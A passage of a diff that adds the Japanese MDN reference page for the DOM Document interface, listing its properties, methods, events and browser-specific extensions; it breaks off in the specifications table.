<dd>{{event("visibilitychange")}} イベントが発生したときに呼び出すコードを表す {{DOMxRef("EventHandler")}} です。</dd> +</dl> + +<p><code>Document</code> インターフェイスは、{{DOMxRef("GlobalEventHandlers")}} インターフェイスから派生しています。</p> + +<p>{{Page("/ja/docs/Web/API/GlobalEventHandlers", "Properties")}}</p> + +<h3 id="Deprecated_properties" name="Deprecated_properties">非推奨のプロパティ</h3> + +<dl> + <dt>{{DOMxRef("Document.alinkColor")}} {{Deprecated_Inline}}</dt> + <dd>文書本文内のアクティブなリンクの色を取得または設定します。</dd> + <dt>{{DOMxRef("Document.all")}} {{Deprecated_Inline}} {{Non-standard_Inline}}</dt> + <dd>文書内のすべての要素にアクセスできます。文書ノードを起点とする {{DOMxRef('HTMLAllCollection')}} を返します。これは古い標準外のプロパティですので、使用しないようにしてください。</dd> + <dt>{{DOMxRef("Document.applets")}} {{Deprecated_Inline}}{{ReadOnlyInline}}</dt> + <dd>文書内にあるアプレットのリスト (出現順) を返します。</dd> + <dt>{{DOMxRef("Document.bgColor")}} {{Deprecated_Inline}}</dt> + <dd>現在の文書の背景色を取得または設定します。</dd> + <dt>{{DOMxRef("Document.charset")}} {{Deprecated_Inline}}{{ReadOnlyInline}}</dt> + <dd>{{DOMxRef("Document.characterSet")}} の別名です。代わりに {{DOMxRef("Document.characterSet")}} を使用してください。</dd> + <dt>{{DOMxRef("Document.domConfig")}} {{Deprecated_Inline}}</dt> + <dd>{{DOMxRef("DOMConfiguration")}} オブジェクトを返すはずです。</dd> + <dt>{{DOMxRef("Document.fgColor")}} {{Deprecated_Inline}}</dt> + <dd>現在の文書の前景色または文字色を取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.fullscreen")}} {{Obsolete_Inline}}</dt> + <dd>文書が <a href="/ja/docs/Web/Guide/DOM/Using_full_screen_mode">全画面モード</a> であるときに、<code>true</code> になります。</dd> + <dt>{{DOMxRef("Document.height")}} {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>現在の文書の高さを取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.inputEncoding")}} {{Deprecated_Inline}}{{ReadOnlyInline}}</dt> + <dd>{{DOMxRef("Document.characterSet")}} の別名です。代わりに {{DOMxRef("Document.characterSet")}} を使用してください。</dd> + <dt>{{DOMxRef("Document.linkColor")}} {{Deprecated_Inline}}</dt> + <dd>document 内のハイパーリンクの色を取得 / 設定します。</dd> + <dt>{{DOMxRef("Document.rootElement")}} {{Deprecated_Inline}}</dt> + <dd>{{DOMxRef("Document.documentElement")}} と同様ですが、 {{SVGElement("svg")}} ルート要素専用です。こちらのプロパティを代わりに使用してください。</dd> + <dt>{{DOMxRef("Document.vlinkColor")}} {{Deprecated_Inline}}</dt> + <dd>訪問済みのハイパーリンクの色を取得/設定します。</dd> + <dt>{{DOMxRef("Document.width")}} {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>現在の文書の幅を返します。</dd> + <dt>{{DOMxRef("Document.xmlEncoding")}} {{Deprecated_Inline}}</dt> + <dd>XML 宣言によって決められたエンコーディングを返します。</dd> + <dt>{{DOMxRef("Document.xmlStandalone")}} {{Obsolete_Inline("Gecko10")}}</dt> + <dd>XML 宣言で文書がスタンドアロンである (<em>例</em>: DTD の外部パートが文書のコンテンツに影響する) 場合に <code>true</code> を、そうでない場合に <code>false</code> を返します。</dd> + <dt>{{DOMxRef("Document.xmlVersion")}} {{Obsolete_Inline("Gecko10")}}</dt> + <dd>XML 宣言で指定されたバージョン番号、または宣言が省略されている場合に <code>"1.0"</code> を返します。</dd> +</dl> + +<h2 id="Methods" name="Methods">メソッド</h2> + +<p><em>このインターフェイスは、{{DOMxRef("Node")}} インターフェイスおよび {{DOMxRef("EventTarget")}} インターフェイスのメソッドを継承します。</em></p> + +<dl> + <dt>{{DOMxRef("Document.adoptNode()")}}</dt> + <dd>外部文書からノードを取り込みます。</dd> + <dt>{{DOMxRef("Document.captureEvents()")}} {{Deprecated_Inline}}</dt> + <dd>{{DOMxRef("Window.captureEvents")}} をご覧ください。</dd> + <dt>{{DOMxRef("Document.caretRangeFromPoint()")}} {{Non-standard_Inline}}</dt> + <dd>指定した座標にある文書の断片の {{DOMxRef("Range")}} オブジェクトを取得します。</dd> + <dt>{{DOMxRef("Document.createAttribute()")}}</dt> + <dd>新しい {{DOMxRef("Attr")}} オブジェクトを生成して、返します。</dd> + <dt>{{DOMxRef("Document.createAttributeNS()")}}</dt> + <dd>指定した名前空間に新しい属性ノードを生成して、返します。</dd> + <dt>{{DOMxRef("Document.createCDATASection()")}}</dt> + <dd>新しい CDATA ノードを生成して、返します。</dd> + <dt>{{DOMxRef("Document.createComment()")}}</dt> + <dd>新しいコメントノードを生成して、返します。</dd> + <dt>{{DOMxRef("Document.createDocumentFragment()")}}</dt> + <dd>新しい文書断片を生成します。</dd> + <dt>{{DOMxRef("Document.createElement()")}}</dt> + <dd>指定したタグ名で新しい要素を生成します。</dd> + <dt>{{DOMxRef("Document.createElementNS()")}}</dt> + <dd>指定したタグ名およびネームスペース URI で、新しい要素を生成します。</dd> + <dt>{{DOMxRef("Document.createEntityReference()")}} {{Obsolete_Inline}}</dt> + <dd>新しい Entity Reference オブジェクトを生成して、返します。</dd> + <dt>{{DOMxRef("Document.createEvent()")}}</dt> + <dd>Event オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createNodeIterator()")}}</dt> + <dd>{{DOMxRef("NodeIterator")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createProcessingInstruction()")}}</dt> + <dd>新しい {{DOMxRef("ProcessingInstruction")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createRange()")}}</dt> + <dd>{{DOMxRef("Range")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createTextNode()")}}</dt> + <dd>テキストノードを生成します。</dd> + <dt>{{DOMxRef("Document.createTouch()")}} {{Deprecated_Inline}}</dt> + <dd>{{DOMxRef("Touch")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createTouchList()")}}</dt> + <dd>{{DOMxRef("TouchList")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.createTreeWalker()")}}</dt> + <dd>{{DOMxRef("TreeWalker")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.enableStyleSheetsForSet()")}}</dt> + <dd>指定したスタイルシートセットのスタイルシートを有効化します。</dd> + <dt>{{DOMxRef("Document.exitPointerLock()")}} {{Experimental_Inline}}</dt> + <dd>Pointer Lock を解放します。</dd> + <dt>{{DOMxRef("Document.getAnimations()")}} {{Experimental_Inline}}</dt> + <dd>現在実行中であるすべての {{DOMxRef("Animation")}} オブジェクトの配列を返します。この対象要素は、<code>document</code> の子孫要素です。</dd> + <dt>{{DOMxRef("Document.getElementsByClassName()")}}</dt> + <dd>(引数で) 与えられたクラス名を持つ要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.getElementsByTagName()")}}</dt> + <dd>(引数で) 与えられたタグ名を持つ要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.getElementsByTagNameNS()")}}</dt> + <dd>(引数で) 与えられたタグ名と名前空間を持つ要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.hasStorageAccess()")}}</dt> + <dd>文書が<ruby>自分自身<rp> (</rp><rt>first-party</rt><rp>) </rp></ruby>のストレージにアクセスしたかどうかを示す真偽値を解決する {{JSxRef("Promise")}} を返します。</dd> + <dt>{{DOMxRef("Document.importNode()")}}</dt> + <dd>外部文書のノードの複製を返します。</dd> + <dt>{{DOMxRef("Document.normalizeDocument()")}} {{Obsolete_Inline}}</dt> + <dd>エンティティの置換や、テキストノードの正規化などを行います。</dd> + <dt>{{DOMxRef("Document.releaseCapture()")}} {{Non-standard_Inline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>この文書内の要素でマウスキャプチャーを行っている場合に、マウスキャプチャーを解放します。</dd> + <dt>{{DOMxRef("Document.releaseEvents()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}</dt> + <dd>{{DOMxRef("Window.releaseEvents()")}} をご覧ください。</dd> + <dt>{{DOMxRef("Document.requestStorageAccess()")}}</dt> + <dd><ruby>自分自身<rp> (</rp><rt>first-party</rt><rp>) </rp></ruby>のストレージへのアクセスが許可された場合は解決し、拒否された場合は拒否される {{JSxRef("Promise")}} を返します。</dd> + <dt>{{DOMxRef("Document.routeEvent()")}} {{Non-standard_Inline}} {{Obsolete_Inline("Gecko24")}}</dt> + <dd>{{DOMxRef("Window.routeEvent()")}} をご覧ください。</dd> + <dt>{{DOMxRef("Document.mozSetImageElement()")}} {{Non-standard_Inline}}</dt> + <dd>指定した ID を持つ要素の背景画像として使用する要素を変更できます。</dd> +</dl> + +<p><code>Document</code> インターフェイスは、 {{DOMxRef("ParentNode")}} インターフェイスから継承しています。</p> + +<dl> + <dt>{{DOMxRef("Document.getElementById","document.getElementById(String id)")}}</dt> + <dd>特定の id を持つ要素へのオブジェクト参照を返します。</dd> + <dt>{{DOMxRef("Document.querySelector()")}}</dt> + <dd>指定したセレクターに一致する、文書内で最初の要素ノードを返します。</dd> + <dt>{{DOMxRef("Document.querySelectorAll()")}}</dt> + <dd>指定したセレクターに一致する、文書内のすべての要素ノードのリストを返します。</dd> +</dl> + +<p><code>Document</code> インターフェイスは、{{DOMxRef("XPathEvaluator")}} インターフェイスによって拡張されています。</p> + +<dl> + <dt>{{DOMxRef("Document.createExpression()")}}</dt> + <dd>(繰り返し) 評価に使用できる <code><a href="/ja/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> をコンパイルします。</dd> + <dt>{{DOMxRef("Document.createNSResolver()")}}</dt> + <dd>{{DOMxRef("XPathNSResolver")}} オブジェクトを生成します。</dd> + <dt>{{DOMxRef("Document.evaluate()")}}</dt> + <dd>XPath 表現を評価します。</dd> +</dl> + +<h3 id="Extension_for_HTML_documents" name="Extension_for_HTML_documents">HTML 文書向けの拡張</h3> + +<p>HTML 文書用の <code>Document</code> インターフェイスは {{DOMxRef("HTMLDocument")}} インターフェイスから継承する、あるいは HTML5 文書向けに拡張されています。</p> + +<dl> + <dt>{{DOMxRef("Document.clear()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}</dt> + <dd>最近の Firefox や Internet Explorer を含む大部分の現行ブラウザーは、何も行いません。</dd> + <dt>{{DOMxRef("Document.close()")}}</dt> + <dd>書き込み用の文書ストリームを閉じます。</dd> + <dt>{{DOMxRef("Document.execCommand()")}}</dt> + <dd>編集可能な文書で、フォーマットコマンドを実行します。</dd> + <dt>{{DOMxRef("Document.getElementsByName()")}}</dt> + <dd>(引数で) 与えられた名前 (name) を持つ要素のリストを返します。</dd> + <dt>{{DOMxRef("Document.hasFocus()")}}</dt> + <dd>指定した文書内にフォーカスがある場合に、 <code>true</code> を返します。</dd> + <dt>{{DOMxRef("Document.open()")}}</dt> + <dd>書き込み用の文書ストリームを開きます。</dd> + <dt>{{DOMxRef("Document.queryCommandEnabled()")}}</dt> + <dd>現在の領域でフォーマットコマンドを実行できる場合に、 true を返します。</dd> + <dt>{{DOMxRef("Document.queryCommandIndeterm()")}}</dt> + <dd>現在の領域でフォーマットコマンドの状態が不確定である場合に true を返します。</dd> + <dt>{{DOMxRef("Document.queryCommandState()")}}</dt> + <dd>現在の領域でフォーマットコマンドを実行した場合に true を返します。</dd> + <dt>{{DOMxRef("Document.queryCommandSupported()")}}</dt> + <dd>現在の領域でフォーマットコマンドをサポートしている場合に、true を返します。</dd> + <dt>{{DOMxRef("Document.queryCommandValue()")}}</dt> + <dd>指定したフォーマットコマンドについて、現在の領域における値を返します。</dd> + <dt>{{DOMxRef("Document.write()")}}</dt> + <dd>文書にテキストを書き込みます。</dd> + <dt>{{DOMxRef("Document.writeln()")}}</dt> + <dd>文書にテキスト行を書き込みます。</dd> +</dl> + +<h3 id="Methods_included_from_DocumentOrShadowRoot" name="Methods_included_from_DocumentOrShadowRoot">DocumentOrShadowRoot から組み入れられたメソッド</h3> + +<p><em><code>Document</code> インターフェイスは、{{DOMxRef("DocumentOrShadowRoot")}} ミックスインで定義された以下のメソッドを含んでいます。これらは現在 Chrome のみ実装しています。ほかのブラウザーはいまだに、 {{DOMxRef("Document")}} インターフェイスに実装しています。</em></p> + +<dl> + <dt>{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}</dt> + <dd>ユーザーが現在選択しているテキスト範囲、または現在のキャレットの位置を表す {{DOMxRef('Selection')}} オブジェクトを返します。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}</dt> + <dd>指定した座標で最前面にある要素を返します。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}</dt> + <dd>指定した座標に存在するすべての要素の配列を返します。</dd> + <dt>{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt> + <dd>キャレットがある DOM ノードと、ノード内でキャレットあがある文字のオフセットを持つ {{DOMxRef('CaretPosition')}} オブジェクトを返します。</dd> +</dl> + +<h2 id="Events" name="Events">イベント</h2> + +<p>これらのイベントを待ち受けするには、 <code>addEventListener()</code> を使用するか、本インターフェイスの <code>on<em>イベント名</em></code> プロパティへイベントリスナーを代入するかしてください。</p> + +<dl> + <dt>{{DOMxRef("Document/scroll_event", "scroll")}}</dt> + <dd>文書のビューまたは要素がスクロールしたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/visibilitychange_event", "visibilitychange")}}</dt> + <dd>タブの内容の表示・非表示の状態が切り替わった時に発行されます。<br> + {{DOMxRef("Document.onvisibilitychange", "onvisibilitychange")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/wheel_event","wheel")}}</dt> + <dd>ユーザーがポインティングデバイス (通常はマウス) のホイールボタンを回転した時に発行されます。<br> + {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Animation_events" name="Animation_events">アニメーションイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/animationcancel_event", "animationcancel")}}</dt> + <dd>アニメーションが予期せず中断された時に発行されます。<br> + {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/animationend_event", "animationend")}}</dt> + <dd>アニメーションが正常に完了したときに発行されます。<br> + {{domxref("GlobalEventHandlers/onanimationend", "onanimationend")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/animationiteration_event", "animationiteration")}}</dt> + <dd>アニメーションの1周期が完了したときに発行されます。<br> + {{domxref("GlobalEventHandlers/onanimationiteration", "onanimationiteration")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/animationstart_event", "animationstart")}}</dt> + <dd>アニメーションが始まった時に発行されます。<br> + {{domxref("GlobalEventHandlers/onanimationstart", "onanimationstart")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Clipboard_events" name="Clipboard_events">クリップボードイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/copy_event", "copy")}}</dt> + <dd>ユーザーがブラウザーのユーザーインターフェイスからコピー操作を開始した時に発行されます。<br> + {{domxref("HTMLElement/oncopy", "oncopy")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/cut_event", "cut")}}</dt> + <dd>ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を開始したときに発行されます。<br> + {{domxref("HTMLElement/oncut", "oncut")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/paste_event", "paste")}}</dt> + <dd>ユーザーがブラウザーのユーザーインターフェイスから貼り付け操作を開始したときに発行されます。<br> + {{domxref("HTMLElement/onpaste", "onpaste")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="ドラッグ＆ドロップイベント">ドラッグ＆ドロップイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/drag_event", "drag")}}</dt> + <dd>要素またはテキストの選択範囲をユーザーがドラッグしている間、数百ミリ秒ごとに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondrag", "ondrag")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragend_event", "dragend")}}</dt> + <dd>ドラッグ操作が終了したとき (マウスボタンを離したときやエスケープキーを押したとき) に発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragend", "ondragend")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragenter_event", "dragenter")}}</dt> + <dd>ドラッグ中の要素またはテキストの選択範囲が妥当なドロップ対象に入ったときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragenter", "ondragenter")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragexit_event", "dragexit")}}</dt> + <dd>要素がドラッグ操作の直接的な選択対象でなくなったときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragexit", "ondragexit")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragleave_event", "dragleave")}}</dt> + <dd>ドラッグ中の要素またはテキストの選択範囲が妥当なドロップ対象から外れたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragleave", "ondragleave")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragover_event", "dragover")}}</dt> + <dd>要素またはテキストの選択範囲が妥当なドロップ対象の上をドラッグされているときに (数ミリ秒ごとに) 発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragover", "ondragover")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/dragstart_event", "dragstart")}}</dt> + <dd>ユーザーが要素またはテキストの選択範囲のドラッグを開始したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondragstart", "ondragstart")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/drop_event", "drop")}}</dt> + <dd>要素またはテキストの選択範囲が妥当なドロップ対象にドロップされたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ondrop", "ondrop")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Fullscreen_events" name="Fullscreen_events">全画面イベント</h3> + +<dl> + <dt>{{DOMxRef("Document/fullscreenchange_event", "fullscreenchange")}}</dt> + <dd><code>Document</code> が<a href="/ja/docs/Web/API/Fullscreen_API/Guide">全画面</a>モードへ移行したとき、または解除されたときに発行されます。<br> + {{DOMxRef("Document.onfullscreenchange", "onfullscreenchange")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/fullscreenerror_event", "fullscreenerror")}}</dt> + <dd><a href="/ja/docs/Web/API/Fullscreen_API/Guide">全画面</a>モードへ切り替えようとしたとき、または解除しようとしたときにエラーが発生した場合に発行されます。<br> + {{DOMxRef("Document.onfullscreenerror", "onfullscreenerror")}} プロパティからも利用できます。</dd> + <dt> + <h3 id="Keyboard_events" name="Keyboard_events">キーボードイベント</h3> + </dt> + <dt>{{DOMxRef("Document/keydown_event", "keydown")}}</dt> + <dd>キーが押されたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onkeydown", "onkeydown")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/keypress_event", "keypress")}}</dt> + <dd>文字値を生成するキーが押下されたときに発行されます。 {{Deprecated_Inline}}<br> + {{DOMxRef("GlobalEventHandlers/onkeypress", "onkeypress")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/keyup_event", "keyup")}}</dt> + <dd>キーを離したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onkeyup", "onkeyup")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Load_unload_events" name="Load_unload_events">ロード＆アンロードイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/DOMContentLoaded_event", "DOMContentLoaded")}}</dt> + <dd>文書が完全に読み込まれて解釈されたときに、スタイルシート、画像、サブフレームの読み込みが完了するのを待たずに発行されます。</dd> + <dt>{{DOMxRef("Document/readystatechange_event", "readystatechange")}}</dt> + <dd>文書の{{DOMxRef("Document/readyState", "readyState")}} 属性が変更されたときに発行されます。 <code>onreadystatechange</code> プロパティからも利用できます。</dd> +</dl> + +<h3 id="Pointer_events" name="Pointer_events">ポインターイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/gotpointercapture_event", "gotpointercapture")}}</dt> + <dd>{{domxref("Element/setPointerCapture", "setPointerCapture()")}} を使用して要素がポインターをキャプチャしたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/lostpointercapture_event", "lostpointercapture")}}</dt> + <dd><a href="/ja/docs/Web/API/Pointer_events#Pointer_capture">キャプチャされたポインター</a>が解放されたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointercancel_event", "pointercancel")}}</dt> + <dd>ポインターイベントがキャンセルされたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointercancel", "onpointercancel")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerdown_event", "pointerdown")}}</dt> + <dd>ポインターがアクティブになったときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerdown", "onpointerdown")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerenter_event", "pointerenter")}}</dt> + <dd>ポインターが要素やその子孫のヒットテスト境界の中へ移動したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerenter", "onpointerenter")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerleave_event", "pointerleave")}}</dt> + <dd>ポインターが要素のヒットテスト境界の外へ移動したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerleave", "onpointerleave")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerlockchange_event", "pointerlockchange")}}</dt> + <dd>ポインターがロックまたはアンロックされたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerlockchange", "onpointerlockchange")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerlockerror_event", "pointerlockerror")}}</dt> + <dd>ポインターをロックしようとして失敗したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerlockerror", "onpointerlockerror")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointermove_event", "pointermove")}}</dt> + <dd>ポインターの座標が変化したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointermove", "onpointermove")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerout_event", "pointerout")}}</dt> + <dd>ポインターが (訳あって) 要素の<em>ヒットテスト</em>境界の外へ移動したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerout", "onpointerout")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerover_event", "pointerover")}}</dt> + <dd>ポインターが要素のヒットテスト境界の中へ移動したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerover", "onpointerover")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/pointerup_event", "pointerup")}}</dt> + <dd>ポインターがアクティブではなくなったときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onpointerup", "onpointerup")}} property.</dd> +</dl> + +<h3 id="Selection_events" name="Selection_events">選択イベント</h3> + +<dl> + <dt>{{DOMxRef("Document/selectionchange_event", "selectionchange")}}</dt> + <dd>文書でのテキスト選択範囲が変化したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onselectionchange", "onselectionchange")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/selectstart_event", "selectstart")}}</dt> + <dd>ユーザーが新しい選択を開始したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/onselectstart", "onselectstart")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Touch_events" name="Touch_events">タッチイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/touchcancel_event", "touchcancel")}}</dt> + <dd>1 つ以上のタッチ点が実装固有の方法で中断された場合に発行されます (例えば、作成されたタッチ点が多すぎた場合など)。<br> + {{DOMxRef("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/touchend_event", "touchend")}}</dt> + <dd>1つ以上のタッチ点がタッチ面から取り除かれたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontouchend", "ontouchend")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/touchmove_event", "touchmove")}}</dt> + <dd>1つ以上のタッチ点がタッチ面に沿って移動したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontouchmove", "ontouchmove")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/touchstart_event", "touchstart")}}</dt> + <dd>1つ以上のタッチ点がタッチ面に配置されたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontouchstart", "ontouchstart")}} プロパティからも利用できます。</dd> +</dl> + +<h3 id="Transition_events" name="Transition_events">トランジションイベント</h3> + +<dl> + <dt>{{DOMxRef("Document/transitioncancel_event", "transitioncancel")}}</dt> + <dd><a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>がキャンセルされたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontransitioncancel", "ontransitioncancel")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/transitionend_event", "transitionend")}}</dt> + <dd><a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が完了したときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontransitionend", "ontransitionend")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/transitionrun_event", "transitionrun")}}</dt> + <dd><a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が初めて作成されたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} プロパティからも利用できます。</dd> + <dt>{{DOMxRef("Document/transitionstart_event", "transitionstart")}}</dt> + <dd>Fired when a <a href="/ja/docs/CSS/Using_CSS_transitions">CSS トランジション</a>が実際に開始されたときに発行されます。<br> + {{DOMxRef("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} プロパティからも利用できます。</dd> +</dl> + +<h2 id="Non-standard_extensions_Non-standard_Inline" name="Non-standard_extensions_Non-standard_Inline">標準外の拡張 {{Non-standard_Inline}}</h2> + +<div>{{non-standard_header}}</div> + +<h3 id="Firefox_notes" name="Firefox_notes">Firefox のメモ</h3> + +<p>Mozilla は、 XUL コンテンツ限定の標準外プロパティを定義しています。</p> + +<dl> + <dt>{{DOMxRef("Document.currentScript")}} {{Non-standard_Inline}}</dt> + <dd>現在実行中の {{HTMLElement("script")}} 要素を返します。</dd> + <dt>{{DOMxRef("Document.documentURIObject")}}</dt> + <dd>(<strong>Mozilla アドオン限定!</strong>) 文書の URI を表す {{Interface("nsIURI")}} オブジェクトを返します。このプロパティは特権付き (UniversalXPConnect 権限) の JavaScript コード内に限り、特別な意味を持ちます。</dd> + <dt>{{DOMxRef("Document.popupNode")}}</dt> + <dd>ポップアップを表示させたノードを返します。</dd> + <dt>{{DOMxRef("Document.tooltipNode")}}</dt> + <dd>現行のツールチップのターゲットであるノードを返します。</dd> +</dl> + +<p>Mozilla では、標準外のメソッドも定義しています。</p> + +<dl> + <dt>{{DOMxRef("Document.execCommandShowHelp()")}}{{Obsolete_Inline("Gecko14")}}</dt> + <dd>このメソッドは何も行わずに例外が発生することから、 Gecko 14.0 {{geckoRelease("14.0")}} で削除しました。</dd> + <dt>{{DOMxRef("Document.getBoxObjectFor()")}} {{Obsolete_Inline}}</dt> + <dd>代わりに {{DOMxRef("Element.getBoundingClientRect()")}} メソッドを使用してください。</dd> + <dt>{{DOMxRef("Document.loadOverlay()")}}{{Obsolete_Inline("Gecko61")}}</dt> + <dd><a href="/ja/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> を動的に読み込みます。これは XUL 文書のみで動作します。</dd> + <dt>{{DOMxRef("Document.queryCommandText()")}}{{Obsolete_Inline("Gecko14")}}</dt> + <dd>このメソッドは何も行わずに例外が発生することから、Gecko 14.0 {{geckoRelease("14.0")}} で削除しました。</dd> +</dl> + +<h3 id="Internet_Explorer_notes" name="Internet_Explorer_notes">Internet Explorer の注意</h3> + +<p>Microsoft は、標準外のプロパティを定義しています。</p> + +<dl> + <dt>{{DOMxRef("Document.fileSize")}}* {{Non-standard_Inline}} {{Obsolete_Inline}}</dt> + <dd>文書の長さをバイト単位で返します。 Internet Explorer 11 より、このプロパティには対応していません。<a href="https://msdn.microsoft.com/library/ms533752%28v=VS.85%29.aspx">MSDN</a> をご覧ください。</dd> +</dl> + +<p>Internet Explorer は、 <code>Node</code> インターフェイス由来のメソッドをすべて <code>Document</code> インターフェイスで対応しているわけではありません。</p> + +<dl> + <dt>{{DOMxRef("Document.contains")}}</dt> + <dd>回避策として、<code>document.body.contains()</code> を使用できます。</dd> +</dl> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>DOM 3 の後継になる予定</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>{{DOMxRef("HTMLDocument")}} インターフェイスを <code>Document</code> の拡張に変更</td> + </tr> + <tr> + <td>{{SpecName("CSSOM View", 